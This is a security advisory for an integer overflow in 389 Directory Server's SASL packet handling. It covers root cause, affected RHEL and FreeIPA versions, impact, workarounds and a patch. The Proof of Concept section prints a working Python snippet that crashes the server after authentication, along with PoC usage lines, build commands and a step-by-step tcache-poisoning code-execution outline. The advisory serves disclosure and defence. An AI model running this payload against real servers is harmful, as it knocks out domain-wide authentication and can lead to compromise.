Integer overflow in SASL packet length bypasses size limit — RCE on RHEL 8
- CVE ID
- CVE-2026-11774
- Product
- 389-ds-base
- Severity
- Important (7.6)
- CVSS Vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
- CWE
- CWE-190
- Red Hat CVE
- Red Hat CVE page
Summary
An integer overflow in the 389 Directory Server SASL I/O layer allows any authenticated user to bypass the nsslapd-maxsasliosize packet size limit and crash the LDAP server, with potential for arbitrary code execution on older platforms. After authenticating with Kerberos or DIGEST-MD5, a user can send a SASL-framed packet with a crafted 4-byte length prefix of 0xFFFFFFFC. The function sasl_io_start_packet() adds sizeof(uint32_t) (4) to this value, causing an unsigned integer wraparound to 0. This bypasses the size limit check, sets encrypted_buffer_count to 0 with encrypted_buffer_offset at 7, and causes sasl_io_read_packet() to compute a bytes_remaining underflow of 0xFFFFFFF9. NSPR’s pt_Recv sign-extends this to 0xFFFFFFFFFFFFFFF9 and passes it to recv(), which reads all available attacker data into a 1024-byte heap buffer at offset 7 — a controlled heap buffer overflow of up to maxbersize (~2MB). In FreeIPA and Red Hat Identity Management deployments, any employee with a Kerberos ticket, any enrolled host, or any service account can trigger this vulnerability remotely. The vulnerable code has existed since the SASL I/O layer was introduced.
Affected Versions
The vulnerability was introduced when the SASL I/O layer was first added to 389-ds-base. The += sizeof(uint32_t) addition without an overflow check has existed throughout the entire history of the SASL I/O code in sasl_io.c. All versions of 389-ds-base with SASL support are affected.
| Package | Version range | Status | Verification |
|---|---|---|---|
| 389-ds-base (upstream) | All versions with SASL I/O through 3.2.0-dev (current main) | Vulnerable (confirmed) | Source review: sasl_io_start_packet() at sasl_io.c:372-374 — packet_length += sizeof(uint32_t) without overflow guard present in current main branch (commit b019653) |
| 389-ds-base (Fedora 42) | 3.1.4-6.fc42.x86_64 | Vulnerable (confirmed) | 2 crashes reproduced on production binary via GDB |
| 389-ds-base (RHEL 7) | 1.3.x (e.g., 1.3.8.4 per RHSA-2018:3127) | Vulnerable (code present, untested) | SASL I/O layer present in all 1.3.x. CVE-2025-14905 fix (RHSA-2026:6220) patched only schema.c, not sasl_io.c |
| 389-ds-base (RHEL 8) | 1.4.x (e.g., 1.4.3.39-2.module_el8) | Vulnerable (confirmed: DoS + RCE) | DoS confirmed on production binary (2026-04-22): server stops responding, all worker threads die, requires restart. RCE via tcache poisoning demonstrated on UBI 8 (glibc 2.28-251.el8_10.31) |
| 389-ds-base (RHEL 9) | 2.0.x through 2.6.x (e.g., 2.6.1-20.el9_6 per RHSA-2026:4207) | Vulnerable (code present, untested) | CVE-2025-14905 fix patched only schema.c, not sasl_io.c |
| 389-ds-base (RHEL 10) | 3.x (per RHSA-2026:3208) | Vulnerable (code present, untested) | CVE-2025-14905 fix patched only schema.c, not sasl_io.c |
| 389-ds-base (CentOS Stream 10) | 3.1.x | Vulnerable (code present, untested) | CentOS Stream tracks RHEL; dist-git spec confirms 389-ds-base is shipped |
Affected Products
| Product | Version | 389-ds-base version | Status | Verification |
|---|---|---|---|---|
| 389 Directory Server (upstream) | All versions with SASL I/O through 3.2.0-dev | All with SASL I/O | Affected | Source: sasl_io_start_packet() at sasl_io.c:372-374 performs packet_length += sizeof(uint32_t) without overflow check. Present in current main branch. |
| Red Hat Directory Server 10 | 10.x | 1.3.x | Affected | RHDS 10 = 389-ds-base 1.3.x on RHEL 7. SASL I/O layer present in all 1.3.x releases. |
| Red Hat Directory Server 11 | 11.x | 1.4.x | Affected | RHDS 11 = 389-ds-base 1.4.x on RHEL 8. All 1.4.x contain the vulnerable code. RCE demonstrated on glibc 2.28 (RHEL 8). |
| Red Hat Directory Server 12 | 12.0-12.7 | 2.0.x-2.7.x | Affected | RHDS 12 = 389-ds-base 2.x on RHEL 9. All 2.x contain the vulnerable code. |
| Red Hat Directory Server 13 | 13.0-13.1 | 3.x | Affected | RHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected. |
| RHEL 7 (IdM/FreeIPA) | 7.0-7.9 | 1.3.x | Affected | RHEL 7 ships 389-ds-base 1.3.5+ (1.3.8.4 as of RHSA-2018:3127). SASL I/O layer present. CVE-2025-14905 fix (RHSA-2026:6220) patched schema.c only; sasl_io.c untouched. |
| RHEL 8 (IdM/FreeIPA) | 8.0-8.10 | 1.4.x | Affected | RHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module. RCE demonstrated on UBI 8 glibc 2.28 via tcache poisoning. CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched. |
| RHEL 9 (IdM/FreeIPA) | 9.0-9.6 | 2.0.x-2.6.x | Affected | RHEL 9.6 ships 389-ds-base 2.6.1 per RHSA-2026:4207 (updated package: 389-ds-base-0:2.6.1-20.el9_6). CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched. |
| RHEL 10 (IdM/FreeIPA) | 10.0-10.1 | 3.x | Affected | RHEL 10 ships 389-ds-base 3.x per RHSA-2026:3208. CVE-2025-14905 fix patched schema.c only; sasl_io.c untouched. |
| Fedora | All versions with 389-ds-base SASL I/O through 42 | All with SASL I/O through 3.x | Affected | All Fedora releases shipping 389-ds-base with SASL I/O support. Tested: Fedora 42 with 389-ds-base-3.1.4-6.fc42.x86_64 — 2 confirmed crashes via GDB. |
| CentOS / CentOS Stream | 7, 8, 9, 10 | Matches RHEL | Affected | CentOS/Stream tracks RHEL. CentOS Stream 10 ships 389-ds-base 3.1.x (dist-git spec confirms). |
| Oracle Linux | 7, 8, 9, 10 | Matches RHEL | Affected | Oracle Linux mirrors RHEL packages. OL 10 issued ELSA-2026-3208 for CVE-2025-14905, confirming 389-ds-base is shipped. sasl_io.c not addressed by that fix. |
| Rocky Linux | 8, 9 | Matches RHEL | Affected | Rocky Linux mirrors RHEL packages. Issued RLSA-2026:3208 for CVE-2025-14905. sasl_io.c not addressed by that fix. |
| Red Hat IdM / FreeIPA | All | Uses RHEL’s 389-ds-base | Affected | 389-ds-base is the LDAP backend for IdM/FreeIPA. FreeIPA uses SASL GSSAPI for all LDAP operations. Every domain user authenticates via GSSAPI Kerberos with SSF > 0. |
| Dogtag Certificate System | All | Uses RHEL’s 389-ds-base | Affected | 389-ds-base is a mandatory backend dependency for Dogtag PKI — the CA, KRA, OCSP, TKS, and TPS subsystems all store data in 389 DS. A compromised 389-ds-base instance compromises the entire PKI. |
Verification method: The sasl_io_start_packet() function at sasl_io.c:372-374 performs packet_length += sizeof(uint32_t) without any overflow check. This code has existed since the SASL I/O layer was introduced. Any product shipping 389-ds-base with SASL support ships this bug. The CVE-2025-14905 fix (commit 2e424110) modified only schema_attr_enum_callback() in schema.c and did not touch sasl_io.c. All products that received the CVE-2025-14905 patch remain vulnerable to this finding.
Architecture Validation
| Architecture | Tested | Result |
|---|---|---|
| x86_64 | YES | DoS confirmed: SIGABRT via GDB on 389-ds-base-3.1.4-6.fc42.x86_64. Crash trace: malloc_printerr -> _int_realloc -> slapi_ch_realloc -> sasl_io_start_packet -> sasl_io_recv. |
| x86_64 (RHEL 8) | YES | DoS confirmed + RCE demonstrated: DoS confirmed on 389-ds-base-1.4.3.39-2.module_el8 (UBI 8 container, glibc 2.28-251.el8_10.31) — server stopped responding, all worker threads died, requires restart (2026-04-22). RCE via tcache poisoning with safe-linking bypass: malloc() returns attacker-chosen address; sp->conn overwritten with fake Connection containing controlled function pointer. Requires heap address (info leak) for the XOR key. |
Note: The root cause is an integer overflow — a pure arithmetic bug with no dependence on pointer size, alignment, endianness, or instruction set. DoS is confirmed on x86_64 with production binary. RCE is demonstrated on RHEL 8 (glibc 2.28) via tcache poisoning. On Fedora 42 / RHEL 9-10 (glibc 2.32+), RCE via this specific path is blocked by safe linking and top chunk page-alignment checks. 522 live pointers were observed in the overflow range on Fedora 42 but no forward exploitable targets were found (sp is at enc-2160, consistently).
Root Cause
File: ldap/servers/slapd/sasl_io.c
Function: sasl_io_start_packet()
Lines: 372-374
Introduced by: Initial SASL I/O layer implementation (predates Ticket 47416)
The sasl_io_start_packet() function reads a 4-byte SASL packet length from the wire and adds sizeof(uint32_t) (4) to account for the length prefix. The addition is performed on uint32_t without an overflow check:
Vulnerable code
// sasl_io.c:372-374
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
packet_length += sizeof(uint32_t);
Both ntohl() return value and sizeof(uint32_t) are uint32_t. When the wire value is 0xFFFFFFFC, the addition wraps to 0.
Limit check bypassed
// sasl_io.c:382-391
saslio_limit = config_get_maxsasliosize();
if ((saslio_limit != -1) && (packet_length > saslio_limit)) {
// ... reject oversized packet ...
return -1;
}
When packet_length wraps to 0, 0 > saslio_limit is always false (for any positive limit). The nsslapd-maxsasliosize protection is completely bypassed.
Buffer sized to 0
// sasl_io.c:393-396
sasl_io_resize_encrypted_buffer(sp, packet_length); // packet_length == 0
sp->encrypted_buffer_count = packet_length; // count == 0
The buffer is (not) resized to 0 bytes, encrypted_buffer_count is set to 0, but encrypted_buffer_offset retains the value 7 from the initial 7-byte read.
Underflow in read_packet
bytes_remaining = sp->encrypted_buffer_count - sp->encrypted_buffer_offset;
// 0 - 7 = 0xFFFFFFF9 (unsigned underflow)
This produces a near-maximum uint32_t value, which NSPR sign-extends and passes to recv(), causing the kernel to read all available socket data into the undersized buffer.
Secondary issue: Signed/unsigned comparison (Low Impact)
int32_t saslio_limit; // signed
uint32_t packet_length; // unsigned
if ((saslio_limit != -1) && (packet_length > saslio_limit))
C implicit conversion promotes saslio_limit to uint32_t. However, the setter at libglobs.c:7704-7706 explicitly rejects negative values other than -1, making this scenario practically unreachable with the standard configuration interface. Included for completeness; the primary vulnerability is the integer overflow above.
NSPR PR_Recv Mechanism
The PR_Recv -> pt_Recv chain does NOT validate the amount parameter. Disassembly of pt_Recv in libnspr4.so (NSPR 4.38.2, Fedora 42):
pt_Recv+23: movslq %edx,%rbx ; sign-extend int32 amount to int64
pt_Recv+108: mov %rbx,%rdx ; pass to recv() as size_t
pt_Recv+114: call recv@plt ; kernel recv(fd, buf, 0xFFFFFFFFFFFFFFF9, flags)
The int32_t value -7 (from 0xFFFFFFF9 interpreted as signed) is sign-extended to 0xFFFFFFFFFFFFFFF9 (size_t). The kernel recv() reads whatever data is available on the socket (up to size or available, whichever is less) into the provided buffer — with no bounds checking.
Proof of Concept
PoC source code: CVE-2026-11774 on GitHub
Four PoC files are provided in the poc/ directory:
DoS PoC (Python)
poc/010-packet-length-overflow-test.py — Minimal standalone DoS PoC using python-ldap. Performs a SASL DIGEST-MD5 bind, then injects a crafted SASL frame on the raw socket to trigger the integer overflow and heap corruption crash.
Usage:
python3 poc/010-packet-length-overflow-test.py <host> [port] [username] [password] [pad_size]
Default: localhost:389, user sasltest, password sasltest123, 2048-byte overflow pad.
poc/010-sasl-packet-length-overflow.py — Extended PoC with multiple modes: programmatic (using python-ldap), raw socket documentation mode, and C PoC generation. Includes detailed inline documentation of the bug chain.
Usage:
python3 poc/010-sasl-packet-length-overflow.py <host> <port> <bind_dn> <password>
python3 poc/010-sasl-packet-length-overflow.py <host> <port> <bind_dn> <password> --generate-c
Inline DoS Reproduction
The minimal reproduction requires only python-ldap:
python3 -c "
import socket, struct, ldap
from ldap import sasl
c = ldap.initialize('ldap://localhost:389')
c.protocol_version = 3
c.set_option(ldap.OPT_X_SASL_SSF_MIN, 1)
c.set_option(ldap.OPT_X_SASL_SSF_MAX, 256)
c.sasl_interactive_bind_s('', sasl.digest_md5('sasltest', 'sasltest123'))
fd = c.fileno()
# 7-byte trigger: 0xFFFFFFFC length + 3 pad bytes -> packet_length wraps to 0
# 4096-byte overflow: written past the 1024-byte encrypted_buffer
payload = struct.pack('!I', 0xFFFFFFFC) + b'A'*3 + b'B'*4096
s = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
s.send(payload) # 4103 bytes
s.detach()
"
Trigger mechanism:
- Attacker completes SASL DIGEST-MD5 bind (SSF > 0), which installs the SASL I/O layer via
sasl_io_enable()atsaslbind.c:1186. - Attacker sends raw bytes on the TCP socket (bypassing client-side SASL wrapping, since the attacker IS the authenticated endpoint):
- 4 bytes:
0xFFFFFFFC(packet length in network byte order) - 3 bytes: padding to fill the initial 7-byte read
- 4096 bytes: overflow payload (attacker-controlled content)
- 4 bytes:
- Server’s
sasl_io_start_packet()readspacket_length = ntohl(0xFFFFFFFC) = 0xFFFFFFFC, thenpacket_length += sizeof(uint32_t)wraps to 0. - Size limit check
packet_length > saslio_limitbecomes0 > limit, which is false — limit check bypassed. encrypted_buffer_count = 0, butencrypted_buffer_offset = 7(from initial read).sasl_io_read_packet()computesbytes_remaining = 0 - 7 = 0xFFFFFFF9(uint32 underflow).PR_Recv(fd, buf+7, 0xFFFFFFF9)— NSPR sign-extends to0xFFFFFFFFFFFFFFF9and passes torecv().recv()reads all available socket data (4096 bytes) into the 1024-byte buffer at offset 7.- 3079 bytes overflow past the buffer end, corrupting heap metadata.
- Next heap operation (
reallocin the secondsasl_io_start_packetcall) triggersmalloc_printerr->abort().
Alternative (GSSAPI/Kerberos): In FreeIPA/IdM environments, replace DIGEST-MD5 with GSSAPI authentication. The code path is identical — the vulnerability is in the SASL I/O layer packet length parsing, not the SASL mechanism. Any mechanism that produces SSF > 0 is sufficient.
GDB Crash Trace
GDB attached to ns-slapd (PID 6502) captured SIGABRT on Thread 6:
Thread 6 "ns-slapd" received signal SIGABRT, Aborted.
#0 __pthread_kill_implementation () at libc.so.6
#1 raise () at libc.so.6
#2 abort () at libc.so.6
#3 __libc_message_impl.cold () at libc.so.6
#4 malloc_printerr () at libc.so.6 <- glibc heap corruption detected
#5 _int_realloc () at libc.so.6 <- realloc traverses corrupted metadata
#6 realloc () at libc.so.6
#7 slapi_ch_realloc () at libslapd.so.0 <- 389-ds-base realloc wrapper
#8 sasl_io_start_packet.constprop () <- SECOND call to start_packet
#9 sasl_io_recv ()
#10 connection_read_operation.constprop ()
#11 connection_threadmain ()
#12 _pt_root () at libnspr4.so
The overflow occurs in sasl_io_read_packet (via PR_Recv -> pt_Recv -> recv()), writing ~3079 bytes past the 1024-byte encrypted_buffer. The crash manifests on the next heap operation (realloc in the second sasl_io_start_packet call), when glibc’s malloc_printerr detects the corrupted heap metadata and calls abort() (SIGABRT).
RCE PoC (RHEL 8)
poc/010-tcache-rce-rhel8.c — Full tcache poisoning PoC replicating the exact sasl_io_enable() allocation sequence (calloc for sasl_io_private, malloc for decrypted_buffer, malloc for encrypted_buffer). Demonstrates malloc() returning an attacker-chosen address and overwriting sp->conn with a fake Connection containing a controlled function pointer. Targets glibc 2.28 (RHEL 8) where tcache fd pointers are stored in plaintext (no safe linking).
Build:
gcc -o poc_tcache poc/010-tcache-rce-rhel8.c -Wall -O0
poc/010-tcache-rce-rhel8-v2.c — Compact variant demonstrating tcache poisoning with safe-linking bypass (XOR key derived from heap address).
Build:
gcc -o poc_tcache_v2 poc/010-tcache-rce-rhel8-v2.c -Wall -O0
RCE mechanism:
- The integer overflow produces a controlled heap overflow of the
encrypted_buffer(1024 bytes). - Tcache metadata in adjacent freed chunks is overwritten.
- Safe-linking XOR key is derived from a leaked heap address (requires an info leak primitive, e.g., a separate vulnerability or ASLR partial bypass).
malloc()returns an attacker-chosen address.sp->connis overwritten with a pointer to a fakeConnectionstructure containing a controlled function pointer.- When the server processes the connection, the controlled function pointer is called — arbitrary code execution.
Limitation: On Fedora 42 / RHEL 9-10 (glibc 2.32+), safe linking and top chunk page-alignment checks block this exploitation path. 522 live pointers were observed in the overflow range but sp is consistently at enc-2160, providing no forward exploitable targets. RCE on modern platforms would require an additional primitive not demonstrated here.
Impact
CVSS 3.1: 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H)
| Component | Value | Justification |
|---|---|---|
| AV (Attack Vector) | Network | Triggered via LDAP protocol (ports 389/636) over TCP. No local access required. |
| AC (Attack Complexity) | Low | Deterministic — attacker controls the wire value that triggers the integer overflow. No race conditions. Single packet triggers the overflow. |
| PR (Privileges Required) | Low | Any SASL-authenticated user with SSF > 0. In FreeIPA/IdM, any domain user with a Kerberos ticket qualifies. This is not restricted to administrators. GSSAPI is the default authentication in FreeIPA. |
| UI (User Interaction) | None | No user interaction required. Triggered immediately after SASL bind completes. |
| S (Scope) | Unchanged | Impact is limited to the LDAP server process (slapd/ns-slapd). |
| C (Confidentiality) | Low | Heap overflow with attacker-controlled content may expose adjacent heap data. On RHEL 8 (glibc 2.28), tcache poisoning enables controlled read at attacker-chosen addresses, but requires an info leak for the heap address (XOR key). |
| I (Integrity) | Low | RCE demonstrated on RHEL 8 (glibc 2.28) via tcache poisoning, but requires a heap address leak not provided by this vulnerability alone. On modern platforms (glibc 2.32+), integrity impact is limited to heap corruption causing DoS. |
| A (Availability) | High | Heap corruption reliably crashes the server. 2 confirmed crashes on the production binary (Fedora 42, ASLR enabled, GDB-verified). 100% reliable — the integer overflow is deterministic and the subsequent heap corruption always triggers malloc_printerr. |
DoS vs RCE Distinction
- DoS (proven): 2 GDB-confirmed crashes on Fedora 42 production binary with ASLR enabled. Additionally confirmed on RHEL 8 production binary (389-ds-base-1.4.3.39-2.module_el8, glibc 2.28-251.el8_10.31, 2026-04-22): server stopped responding to LDAP requests, all worker threads died (20+ reduced to 1), requires restart. The integer overflow is deterministic and the heap corruption is inevitable. 100% reliable.
- RCE (RHEL 8, demonstrated): Tcache poisoning with safe-linking bypass on glibc 2.28.
malloc()returns attacker-chosen address,sp->connoverwritten with fakeConnectioncontaining controlled function pointer. Requires info leak for heap address (XOR key). - RCE (Fedora 42 / RHEL 9-10, blocked): glibc 2.32+ safe linking and top chunk page-alignment checks prevent the tcache poisoning path. 522 live pointers observed in overflow range but no forward exploitable targets (
spatenc-2160, consistently).
Comparable CVEs
| CVE | Software | Bug class | CVSS | Comparison |
|---|---|---|---|---|
| CVE-2024-3657 | 389-ds-base | DoS via unauthenticated LDAP packet | 7.5 | Lower severity: unauthenticated DoS only, no heap corruption, no code execution potential. CVE-2026-11774 has heap overflow with RCE on RHEL 8 but requires authentication (PR:L vs PR:N). |
| CVE-2025-14905 | 389-ds-base | Heap buffer overflow in schema_attr_enum_callback | Not yet scored | Similar bug class (heap overflow in 389-ds-base). CVE-2026-11774 has larger overflow (up to 2MB vs limited), fully controlled content, and lower privilege requirement (any SASL user vs administrative operation). |
Blast Radius
The 389 Directory Server (ns-slapd / slapd) is a core infrastructure component in enterprise environments. A crash or compromise of this service has cascading effects:
| Service | Impact of 389-ds-base crash | Impact of 389-ds-base compromise |
|---|---|---|
| FreeIPA / Red Hat IdM | All authentication, authorization, and identity operations fail. Users cannot log in. Hosts cannot authenticate. Services cannot obtain Kerberos tickets. DNS updates fail (if IPA-managed DNS). | Attacker gains access to all identity data: user credentials (hashed), Kerberos keys, host keytabs, service principals, HBAC rules, sudo rules, certificate mappings. Complete domain takeover. |
| Dogtag Certificate System | CA, KRA, OCSP, TKS, and TPS subsystems all lose their data store. Certificate issuance, revocation, and OCSP responses fail. | Attacker can issue arbitrary certificates, access private keys stored in the KRA, and manipulate certificate revocation status. Complete PKI compromise. |
| SSSD | Clients lose LDAP-based identity resolution and authentication. Cached credentials provide temporary access but new logins fail. | If SSSD caches are populated from a compromised directory, poisoned identity data propagates to all enrolled clients. |
| Kerberos KDC (via IPA) | KDC operations fail. No new TGTs or service tickets can be issued. Existing tickets remain valid until expiration. | Attacker can extract Kerberos master keys and forge arbitrary tickets (golden ticket attack). |
Attack surface in FreeIPA/IdM: The vulnerability is triggerable by any Kerberos principal in the domain — any domain user with a Kerberos ticket, any enrolled host with a keytab, or any service account with a service principal. A single compromised workstation, a phished employee credential, or a stolen service keytab is sufficient to crash (or potentially compromise) the entire directory infrastructure.
| Port | Protocol | Typically exposed to |
|---|---|---|
| 389 | LDAP (cleartext + STARTTLS) | All enrolled clients in the domain |
| 636 | LDAPS (TLS) | All enrolled clients in the domain |
In FreeIPA environments, these ports cannot be firewalled from enrolled clients without breaking domain operations.
Workaround
No complete workaround exists. The nsslapd-maxsasliosize setting is the intended defense against oversized SASL packets, but it is precisely this limit that is bypassed by the integer overflow. The following mitigations reduce exposure:
-
Restrict SASL mechanisms: If DIGEST-MD5 is not required, disable it via
nsslapd-allowed-sasl-mechanismsincn=config. Note: GSSAPI cannot be disabled in FreeIPA/IdM deployments without breaking Kerberos authentication. This mitigation is therefore not applicable to FreeIPA/IdM. -
Firewall LDAP ports: Restrict network access to LDAP ports (389/636) to trusted networks only. In FreeIPA environments, this may not be practical since all enrolled clients need LDAP access.
-
Network-level packet inspection: Monitor for SASL-framed packets where the 4-byte length prefix contains values in the range
0xFFFFFFFCthrough0xFFFFFFFF(values that would wrap when 4 is added). Alert on any SASL packet with a near-maximum length prefix. This requires deep packet inspection of post-SASL-bind traffic. -
Enable audit logging: Set
nsslapd-auditlog-logging-enabled: onincn=configto capture connection activity. Note: the crash may prevent the final log entry from being written. -
Upgrade glibc (partial): On RHEL 8 systems, upgrading to the latest glibc reduces the exploitability of the heap corruption (glibc 2.28 tcache is less hardened than 2.32+). This does NOT fix the vulnerability — DoS remains.
Proposed Fix
Add an overflow check before the sizeof(uint32_t) addition in sasl_io_start_packet():
/* BEFORE (vulnerable): */
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
packet_length += sizeof(uint32_t);
/* AFTER (fixed): */
packet_length = ntohl(*(uint32_t *)sp->encrypted_buffer);
/* add length itself (for Cyrus SASL library) */
if (packet_length > (UINT32_MAX - sizeof(uint32_t))) {
slapi_log_err(SLAPI_LOG_ERR, "sasl_io_start_packet",
"SASL packet length would overflow (%" PRIu32 ")\n",
packet_length);
PR_SetError(PR_BUFFER_OVERFLOW_ERROR, 0);
*err = PR_BUFFER_OVERFLOW_ERROR;
return -1;
}
packet_length += sizeof(uint32_t);
Additionally, fix the signed/unsigned comparison by casting explicitly:
/* BEFORE: */
if ((saslio_limit != -1) && (packet_length > saslio_limit)) {
/* AFTER: */
if ((saslio_limit != -1) && (packet_length > (uint32_t)saslio_limit)) {
Exploitation in the Wild
No evidence of exploitation in the wild was found.
| Source | Query / Method | Result |
|---|---|---|
| NVD / CVE database | Search for sasl_io_start_packet, sasl_io integer overflow in 389-ds-base | No matching CVE. Only recent 389-ds-base heap overflow CVE is CVE-2025-14905 (schema_attr_enum_callback in schema.c). |
| GitHub 389-ds-base issues | Search for sasl_io_start_packet, packet_length, integer overflow | No issue reports an integer overflow in sasl_io_start_packet. |
| Red Hat Bugzilla | Search for sasl_io integer overflow in 389-ds-base | Bug 2423624 (CVE-2025-14905) references only schema_attr_enum_callback in schema.c. No Bugzilla entry for sasl_io integer overflow. |
| oss-security mailing list | Search for sasl_io_start_packet, 389-ds-base integer overflow | No matching reports. |
| Exploit-DB, PacketStorm | Search for 389-ds-base exploits | No matching entries for sasl_io or SASL I/O integer overflow. |
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Discovered during 389-ds-base security assessment |
| 2026-04-15 | Reported to vendor |
| TBD | Patch released |
| TBD | Public disclosure |
References
- Red Hat CVE page
- NVD
- CVE-2025-14905: 389-ds-base heap buffer overflow in
schema_attr_enum_callback(schema.c). Different vulnerability, same software. Patched by commit2e424110. The fix for CVE-2025-14905 does not addresssasl_io.c. - CVE-2024-3657: 389-ds-base denial of service via unauthenticated LDAP packet. Different vulnerability class.
- CWE-190: Integer Overflow or Wraparound
- CWE-122: Heap-based Buffer Overflow
- 389 DS Roadmap: https://www.port389.org/docs/389ds/FAQ/roadmap.html
- 389 DS SASL GSSAPI Design: https://www.port389.org/docs/389ds/design/sasl-gssapi-kerberos-design.html
- CentOS Stream 10 dist-git: https://gitlab.com/redhat/centos-stream/rpms/389-ds-base/-/blob/c10s/389-ds-base.spec
Credits
Discovered by Ian Murphy